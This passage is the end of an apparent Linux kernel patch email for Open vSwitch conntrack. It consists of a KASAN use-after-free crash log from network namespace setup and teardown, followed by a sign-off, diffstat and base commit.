[ T10321] RIP: 0033:0x7f820deb59ee [Wed Mar 18 20:20:25 2026] [ T10321] Code: 08 0f 85 f5 4b ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 80 00 00 00 00 48 83 ec 08 [Wed Mar 18 20:20:25 2026] [ T10321] RSP: 002b:00007f820de16dd8 EFLAGS: 00000246 ORIG_RAX: 000000000000002c [Wed Mar 18 20:20:25 2026] [ T10321] RAX: ffffffffffffffda RBX: 00007f820de176c0 RCX: 00007f820deb59ee [Wed Mar 18 20:20:25 2026] [ T10321] RDX: 000000000000003a RSI: 00007f820de16e70 RDI: 0000000000000005 [Wed Mar 18 20:20:25 2026] [ T10321] RBP: 000055bb787812d0 R08: 00007f820de16e50 R09: 0000000000000014 [Wed Mar 18 20:20:25 2026] [ T10321] R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000001337 [Wed Mar 18 20:20:25 2026] [ T10321] R13: 0000000000000052 R14: 00007ffc21454830 R15: 00007f820d617000 [Wed Mar 18 20:20:25 2026] [ T10321] </TASK> [Wed Mar 18 20:20:25 2026] [ T10321] Allocated by task 10293: [Wed Mar 18 20:20:25 2026] [ T10321] kasan_save_stack+0x33/0x60 [Wed Mar 18 20:20:25 2026] [ T10321] kasan_save_track+0x14/0x30 [Wed Mar 18 20:20:25 2026] [ T10321] __kasan_kmalloc+0xaa/0xb0 [Wed Mar 18 20:20:25 2026] [ T10321] ovs_ct_init+0xee/0x4d0 [Wed Mar 18 20:20:25 2026] [ T10321] ovs_init_net+0x304/0x5b0 [Wed Mar 18 20:20:25 2026] [ T10321] ops_init+0x1e4/0x600 [Wed Mar 18 20:20:25 2026] [ T10321] setup_net+0x224/0x860 [Wed Mar 18 20:20:25 2026] [ T10321] copy_net_ns+0x2ab/0x5e0 [Wed Mar 18 20:20:25 2026] [ T10321] create_new_namespaces+0x3ef/0xae0 [Wed Mar 18 20:20:25 2026] [ T10321] unshare_nsproxy_namespaces+0xc8/0x1f0 [Wed Mar 18 20:20:25 2026] [ T10321] ksys_unshare+0x437/0xa10 [Wed Mar 18 20:20:25 2026] [ T10321] __x64_sys_unshare+0x36/0x50 [Wed Mar 18 20:20:25 2026] [ T10321] do_syscall_64+0xc7/0x250 [Wed Mar 18 20:20:25 2026] [ T10321] entry_SYSCALL_64_after_hwframe+0x77/0x7f [Wed Mar 18 20:20:25 2026] [ T10321] Freed by task 1492: [Wed Mar 18 20:20:25 2026] [ T10321] kasan_save_stack+0x33/0x60 [Wed Mar 18 20:20:25 2026] [ T10321] kasan_save_track+0x14/0x30 [Wed Mar 18 20:20:25 2026] [ T10321] kasan_save_free_info+0x3b/0x60 [Wed Mar 18 20:20:25 2026] [ T10321] __kasan_slab_free+0x4f/0x70 [Wed Mar 18 20:20:25 2026] [ T10321] kfree+0x14a/0x4a0 [Wed Mar 18 20:20:25 2026] [ T10321] ovs_ct_exit+0x19c/0x270 [Wed Mar 18 20:20:25 2026] [ T10321] ovs_exit_net+0xb3/0x9b0 [Wed Mar 18 20:20:25 2026] [ T10321] ops_exit_list+0xb5/0x180 [Wed Mar 18 20:20:25 2026] [ T10321] cleanup_net+0x5bc/0xb20 [Wed Mar 18 20:20:25 2026] [ T10321] process_one_work+0x96d/0x1b60 [Wed Mar 18 20:20:25 2026] [ T10321] worker_thread+0x647/0xe70 [Wed Mar 18 20:20:25 2026] [ T10321] kthread+0x2b0/0x3a0 [Wed Mar 18 20:20:25 2026] [ T10321] ret_from_fork+0x4a/0x80 [Wed Mar 18 20:20:25 2026] [ T10321] ret_from_fork_asm+0x1a/0x30 [Wed Mar 18 20:20:25 2026] [ T10321] The buggy address belongs to the object at ffff888035c1f3e0 which belongs to the cache kmalloc-32 of size 32 [Wed Mar 18 20:20:25 2026] [ T10321] The buggy address is located 0 bytes inside of freed 32-byte region [ffff888035c1f3e0, ffff888035c1f400) [Wed Mar 18 20:20:25 2026] [ T10321] The buggy address belongs to the physical page: [Wed Mar 18 20:20:25 2026] [ T10321] page: refcount:1 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x35c1f [Wed Mar 18 20:20:25 2026] [ T10321] flags: 0xfff00000000000(node=0|zone=1|lastcpupid=0x7ff) [Wed Mar 18 20:20:25 2026] [ T10321] page_type: f5(slab) [Wed Mar 18 20:20:25 2026] [ T10321] raw: 00fff00000000000 ffff88801c042940 ffffea0000967490 ffffea000082b650 [Wed Mar 18 20:20:25 2026] [ T10321] raw: 0000000000000000 0000000000150015 00000001f5000000 0000000000000000 [Wed Mar 18 20:20:25 2026] [ T10321] page dumped because: kasan: bad access detected [Wed Mar 18 20:20:25 2026] [ T10321] page_owner tracks the page as allocated [Wed Mar 18 20:20:25 2026] [ T10321] page last allocated via order 0, migratetype Unmovable, gfp_mask 0x52800(GFP_NOWAIT|__GFP_NORETRY|__GFP_COMP), pid 5358, tgid 5358 (systemd-tmpfile), ts 75209207871, free_ts 75022619452 [Wed Mar 18 20:20:25 2026] [ T10321] post_alloc_hook+0x2ea/0x350 [Wed Mar 18 20:20:25 2026] [ T10321] get_page_from_freelist+0x7af/0x3990 [Wed Mar 18 20:20:25 2026] [ T10321] __alloc_pages_noprof+0x22b/0x26d0 [Wed Mar 18 20:20:25 2026] [ T10321] alloc_pages_mpol_noprof+0x2ce/0x610 [Wed Mar 18 20:20:25 2026] [ T10321] new_slab+0x2e5/0x420 [Wed Mar 18 20:20:25 2026] [ T10321] ___slab_alloc+0xe60/0x19e0 [Wed Mar 18 20:20:25 2026] [ T10321] __slab_alloc.isra.0+0x5b/0xb0 [Wed Mar 18 20:20:25 2026] [ T10321] __kmalloc_cache_noprof+0x2b9/0x300 [Wed Mar 18 20:20:25 2026] [ T10321] kmem_cache_free+0x2d3/0x490 [Wed Mar 18 20:20:25 2026] [ T10321] __fput+0x68b/0xb60 [Wed Mar 18 20:20:25 2026] [ T10321] __fput_sync+0x4a/0x60 [Wed Mar 18 20:20:25 2026] [ T10321] __x64_sys_close+0x8b/0x100 [Wed Mar 18 20:20:25 2026] [ T10321] do_syscall_64+0xc7/0x250 [Wed Mar 18 20:20:25 2026] [ T10321] entry_SYSCALL_64_after_hwframe+0x77/0x7f [Wed Mar 18 20:20:25 2026] [ T10321] page last free pid 5359 tgid 5359 stack trace: [Wed Mar 18 20:20:25 2026] [ T10321] free_unref_page+0x6e8/0x1020 [Wed Mar 18 20:20:25 2026] [ T10321] tlb_finish_mmu+0x284/0x830 [Wed Mar 18 20:20:25 2026] [ T10321] exit_mmap+0x3e4/0xb40 [Wed Mar 18 20:20:25 2026] [ T10321] __mmput+0x12a/0x4c0 [Wed Mar 18 20:20:25 2026] [ T10321] mmput+0x67/0x70 [Wed Mar 18 20:20:25 2026] [ T10321] do_exit+0x969/0x2ce0 [Wed Mar 18 20:20:25 2026] [ T10321] do_group_exit+0xda/0x2a0 [Wed Mar 18 20:20:25 2026] [ T10321] __x64_sys_exit_group+0x43/0x50 [Wed Mar 18 20:20:25 2026] [ T10321] __pfx___do_sys_ni_syscall+0x0/0x10 [Wed Mar 18 20:20:25 2026] [ T10321] do_syscall_64+0xc7/0x250 [Wed Mar 18 20:20:25 2026] [ T10321] entry_SYSCALL_64_after_hwframe+0x77/0x7f [Wed Mar 18 20:20:25 2026] [ T10321] Memory state around the buggy address: [Wed Mar 18 20:20:25 2026] [ T10321] ffff888035c1f280: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc [Wed Mar 18 20:20:25 2026] [ T10321] ffff888035c1f300: fc fc fc fc 00 00 00 00 fc fc fc fc fc fc fc fc [Wed Mar 18 20:20:25 2026] [ T10321] >ffff888035c1f380: fc fc fc fc fc fc fc fc fc fc fc fc fa fb fb fb [Wed Mar 18 20:20:25 2026] [ T10321] ^ [Wed Mar 18 20:20:25 2026] [ T10321] ffff888035c1f400: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc [Wed Mar 18 20:20:25 2026] [ T10321] ffff888035c1f480: fc fc fc fc 00 00 00 00 fc fc fc fc fc fc fc fc [Wed Mar 18 20:20:25 2026] [ T10321] ================================================================== [Wed Mar 18 20:20:25 2026] [ T10321] Kernel panic - not syncing: KASAN: panic_on_warn set ... -----END crash log----- Best regards, Yuqi Xu net/openvswitch/conntrack.c | 106 ++++++++++++++++++++++-------------- net/openvswitch/datapath.h | 2 +- 2 files changed, 65 insertions(+), 43 deletions(-) base-commit: dd16f1b5720f5dae33a79b5305e188e8290a3973 -- 2.54.0